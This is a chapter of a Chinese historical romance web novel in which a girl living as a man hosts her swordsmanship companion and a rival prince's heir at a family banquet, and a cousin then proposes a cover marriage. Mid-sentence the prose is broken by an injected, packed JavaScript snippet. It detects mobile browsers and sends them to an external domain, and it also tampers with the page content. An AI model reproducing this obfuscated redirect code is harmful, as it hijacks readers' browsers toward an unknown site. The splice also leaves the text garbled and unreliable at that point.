姜夫人打发去的小厮敲了沈府的门,与门房说了请沈浮舟过府吃饭的事。
那门房入府去禀报,不一会儿出来,先给了小厮赏银,足足有二两银子。
“我家郎君应承下过府吃饭之事,遣我来问,贵府老太太老太爷还有诸位夫人小姐们喜欢什么。”
小厮一五一十将自己所知告诉了门房。
门房客气道谢。
小厮回张府交差。
*
是夜,沈浮舟登门,还带了十数车礼物。
大门前的几个小厮都看呆了。
比人还要高的红珊瑚,镶满宝石的云母屏风,叫不上名字来的绫罗绸缎,见都没见过的古董珍玩……一箱箱一件件被小厮们抬进了府里的库房中。
刚让张安华缠住了朱明霁脱身出来的张皙华见到从梅林里钻出高大的身影,待提灯引路的丫鬟走近,才瞧清了沈浮舟那张清爽的脸,他这人面庞的轮廓柔美,秀眉清目,脸上少有笑意,也很少见他有什么表情。
张皙华初见他时,一直以为他有面瘫的毛病,后来相处多了,与他交情变得不错了,才发现这人是因不喜被别人一眼看穿他的喜怒哀乐。
但张皙华不从沈浮舟的神情变化中也能得知他的心情好坏。
比如沈浮舟现在的心情就不错,因为他右手执了一枝红梅,他一高兴就喜欢送人花。
张皙华提过丫鬟手中的六角宫灯的灯柄,行在沈浮舟前面偏右一点的位置。
“小船师叔,再穿过一片竹林,就到我祖父祖母住的养荣斋了,听小厮们说你带了十数车礼物来,这倒让我母亲苦恼起如何回你这厚礼来。”
沈浮舟伸手要替张皙华提灯。
张皙华不肯松手,“小船师叔,你是客人,还是我来提灯引路。”
沈浮舟只好收回手,将那枝红梅给张皙华嗅了嗅。
“小白,折了一枝奇形怪状的梅花送与你插瓶,我记得你在白帝山上便喜欢这样赏着有意趣的花。那些礼物并不值什么,我京城宅子里堆成山,你家人若喜欢,我再命人装几车送来。”
“那我母亲要更加烦恼还礼给小船师叔的事情了。”张皙华道。
“小白,你有空与我切磋剑道,比送我什么礼物都合我心意。”沈浮舟星子般明亮的眸中浮现张皙华的侧脸。
小白说喜欢白帝山下的人间烟火气,不愿当菩提观里的道士,他就下了山来寻小白。可从前在白帝山上,他一年至少有一个月能陪小白练剑。为什么下了山,他见小白的日子反倒比从前还少了许多。
“小船师叔,明日我便能去你府上与你切磋剑道,但是礼物依旧还是要送你的。”
张皙华回想自己去白帝山上的菩提观学剑的日子,除一日三餐茶饭外,还可摘野果、饮花露,看翻滚的云海、温柔的晚霞……身心能够在亲近大自然中完全放松。
而她学剑,一为强身健体,二为防身保命。
她从六岁学到十三岁,每年大概有一个月的时间会住在菩提观。
她觉得自己差不多在剑术上有小成了,便不再上白帝山学剑了。
却未想到,一年多前的冬日,沈浮舟在山门前等了她三日三夜,都未见她上白帝山的身影。
他像个雪人一样立在寒风中,困惑不已。
他飞鸽传书来问她,劝她和他一样在菩提观做不问俗事的道士。
她说自己喜欢白帝山下的人间烟火气。
其实她对他撒了谎,她更喜欢白帝山上的悠闲自在的时光。
“小船师叔,其实我还是觉得你适合在白帝山上,你与我本就不是一路人,我为我的家人必须得追求功名利禄,你的家族有你的父兄支撑打理,我并没有你那么好的父兄。”这已经是张皙华第三百零八次劝沈浮舟回到白帝山上去。
沈浮舟岔开话题道:“小白,我近来听了一个故事,有一位郎君打算与他喜欢的郎君喜结连理,但他们的家人都不肯接受他们的婚事,还认为他们生了病,就请了郎中给他们看病,结果他们吃药吃死了。若你是他们的家人,你也认为他们有病吗?”
张皙华认真听完故事,道:“小船师叔,在我看来,不管是男女两情相悦,还是男人喜欢男人,女人喜欢女人,这些都不是病,是上天生人给予他们刻在骨血里的不同的爱恨嗔痴。但那两个郎君确实也有些毛病,估计是有脑残之症,腿长在他们身上,他们私奔就不用落得共赴黄泉的下场了。”
沈浮舟浅勾唇角,又道:“这不是在菩提观,你唤我‘小船’,不必带上‘师叔’二字,我才比你大多少,听着这“师叔”二字倒觉得我和你差了辈分。”
“小船……小船……小船……”张皙华连唤了几声,笑道:“这样确实顺口多了,但还是得唤你‘小船师叔’,我可不做那等欺师灭祖、大逆不道的人。”
沈浮舟很喜欢他这样率直天真的性子。
他从未遇到过像小白这样在修习剑道上与他这般合拍的人,小白做什么事都很有天赋。
小白从前在菩提观里给他说的那些鬼故事和冷笑话他都爱听,他连小白扯淡他都爱听。
他也曾挣扎过,难以接受自己会喜欢男人,但这就是命运啊,命让他厌世避入菩提观中,运让他遇见了第一眼就令他色授魂与、心愉于侧的人。
他从这样的命运中挣扎不出来。
穿过竹林后又沿着鹅卵石铺就的小径走了一会子,二人到了养荣斋院门口。
朱明霁早早侯在这里,远远瞧见张皙华身侧的沈浮舟就皱起了他的眉头。
沈浮舟向朱明霁拱手作揖后。
朱明霁倨傲地扬起下巴,不拿正眼瞧沈浮舟。
“原来你就是沈皇后那个五岁就上了白帝山做了菩提观道士的胞弟,怎如今道士也不当了?在北镇抚司当差难道比当道士有意思吗?”
沈浮舟自然听出了朱明霁话中带刺,也知道眼前人是小白常常和自己谈起的喜欢惹他不痛快的襄王府世子。
沈浮舟:“道士做腻了,挎着绣春刀为陛下卖命,也不错。”
沈浮舟依旧是一如既往的清冷神色,但张皙华看出来沈浮舟此刻见了朱明霁心情很坏很坏,因为沈浮舟时不时有提他腰间玉带的动作。
若今夜沈浮舟腰间上挂了剑或刀,必要与朱明霁白刃相见。
为了缓和二人剑拔弩张的气氛,张皙华提议道:“明霁兄,你不也喜欢琢磨修道炼丹吗?有空何不与浮舟兄探讨探讨?浮舟兄对修道炼丹颇有心得见地。”
“不要。”
“不要。”
沈浮舟、朱明霁二人同时张口拒绝。
“这院门口风大,我也饿了,先去后院入席了。”
张皙华打算把这二人撂下,她也懒得管了,两个人冻死在这院门口好了。
一阵北风吹来得及时,寒意带到沈浮舟、朱明霁身上,二人不约而同打了个喷嚏。
这二人也不继续犟着了,紧随张皙华过穿堂进了后院的花厅。
下人已摆好了桌椅、放好了碗筷。
男女分桌坐,两张方桌中间隔了一扇屏风,
张老太爷有过午不食的习惯,所以方桌北面的那张榻是空的。
沈浮舟、朱明霁一个是肃国公家的二公子,一个是襄王府的世子爷,自然要上座,二人便被让到北面榻上同坐。
徐敏言、徐敏德依次坐在榻左手边第一、第二张椅子上,张皙华、张安华依次坐在榻右边第一、第二张椅子上。
除张皙华以外,这些郎君们都是会吃酒的。
尤其是徐家兄弟俩酒量深不可测,沈浮舟、朱明霁都喝得面上滴血得红,徐家兄弟俩还是一点也不上头。
张安华在张皙华耳边低声道:“世子爷今夜好像在和沈郎君较劲,往日世子爷喝四两酒便是他的极限了,今夜世子爷已经足足喝了五两有多了。我估计世子爷再喝几杯就要去外面吐了。”
“沈郎君的酒量也不怎么样,徐家大郎和二郎今夜倒是喝得尽兴了。”张皙华向侍立一旁的青雀使了个眼色,让青雀赶紧去端解酒汤来。
徐家兄弟俩命丫鬟换了海碗装的酒来,开始了新一轮的劝酒。
朱明霁实在是喝不下了,借口要去更衣便出门去了,步子有
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16386999|184202||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
些不稳。
张皙华让张安华跟出去照料醉意甚浓的朱明霁。
“咚”一声,沈浮舟的头磕在桌子上,没有再抬起来,显然他已经喝得不省人事了。
张皙华怕沈浮舟这样睡会着凉,让徐家兄弟俩扶着沈浮舟去客房安寝。
朱明霁也不胜酒力,正好襄王府来了人要接他回家,让张老太太等人终是放下了悬着的心。
翌日,沈浮舟睡醒后头仍有些疼,张皙华让丫鬟准备了热粥酱菜给沈浮舟当早饭。
沈浮舟用过早饭,人确实舒服了些。
张皙华想着今日正好初三,也不用去四处拜年,便准备和沈浮舟一起去他府上切磋剑道,却不想姜夫人打发了人来叫张皙华去重华院说话。
张皙华也不知要在重华院耽搁多久,便与沈浮舟说好他先回家,她下午再去登门拜访。
张皙华至重华院后,见姜夫人、小姜氏及徐宝音都坐在正房内。
姜夫人有些焦急道:“今早襄王府打发了两个老嬷嬷来说世子爷昨夜丢了一枚长命锁在我们家,请我好好在家中各处找找这枚长命锁,丢了长命锁原也是件小事,但若被哪个心眼子多的小丫鬟拾了去,届时讹诈世子爷与她有什么私情,这小事就成了大事了。”
“母亲可找见了那枚长命锁?”张皙华问道。
姜夫人叹了一口气,“找是找见了,是在素素的妆匣里翻到的。素素哭着和我说,她以为是你的长命锁才偷偷藏起来的,素素真是个傻孩子。”
姜夫人用帕子托着那枚长命锁给张皙华看。
张皙华:“素素也没有认错,这本来就是我的长命锁,明霁兄一定要和我换着戴。”
姜夫人:“我本来急昏了头,不知道该怎么将这件事向襄王府交待,多亏了你宝音妹妹提醒我,要我唤你来保全素素的名声。”
张皙华将那枚长命锁用帕子包了放进袖中,道:“我这就去趟襄王府,和明霁兄解释一下,说是我昨夜捡到了这枚长命锁想替他好好保管再找机会还给他。”
姜夫人颌首,目送张皙华踏出房门。
小姜氏估摸着张皙华应当走远了,便对姜夫人道:“我看着二郎样样都好,难怪素素喜欢他。我家宝音也喜欢二郎多年,但不知姐姐是属意素素还是我家宝音做儿媳妇?”
姜夫人早早料到小姜氏会向她开这个口,她是看着宝音这个外甥女长大的,当宝音是自己的亲骨肉般疼爱,就怕耽误了宝音的姻缘。
姜夫人望向徐宝音,“宝音,你愿不愿意嫁给二郎?”
本以为会被外甥女拒绝的姜夫人却听到了“愿意”二字,
姜夫人有些错愕,她完全听不进去小姜氏在她耳边说的话。
待小姜氏走后,姜夫人单独留下徐宝音说话。
姜夫人问:“宝音,你和姨母说实话,你心里头到底怎么想的?”
徐宝音道:“姨母,将来二郎定是要娶妻的,倒不如让二郎娶了我。以后二郎若有看得上眼的郎君,也可让二郎与那郎君相好,我绝不阻拦二郎。待二郎有了自己的孩子,大可去父留子,我与二郎一同抚养那孩子长大成人。这样张家香火得继,二郎有妻有子更坐实了二郎是男子的事实,岂不周全?”
“可是宝音,你图什么?”姜夫人不解。
“我图人人都要艳羡我嫁给二郎这样温柔俊美的好郎君,我知二郎不会亏待我,姨母你也不会亏待我。”徐宝音心意已决。
“倘若你母亲知道了真相,会怨我误了你啊。”姜夫人还想劝徐宝音几句。
徐宝音拉着姜夫人的手道:“姨母放心,母亲永远不会知道真相,宝音死也会守住二郎的秘密。”
“呸呸呸,宝音你不要说这样不吉利的话。”姜夫人眼眶湿润。
“姨母,不怕您笑话,我真想过二郎若是个男子该有多好,她生得如此漂亮的长相,又刻苦读书,待人总是那样谦逊温和。可就算二郎是女儿身,我也要嫁她与她长相厮守一辈子。二郎是我的梦,只要二郎还是二郎,我的梦就可以不用醒。”徐宝音望向姜夫人,“求姨母成全我对二郎的痴心妄想。”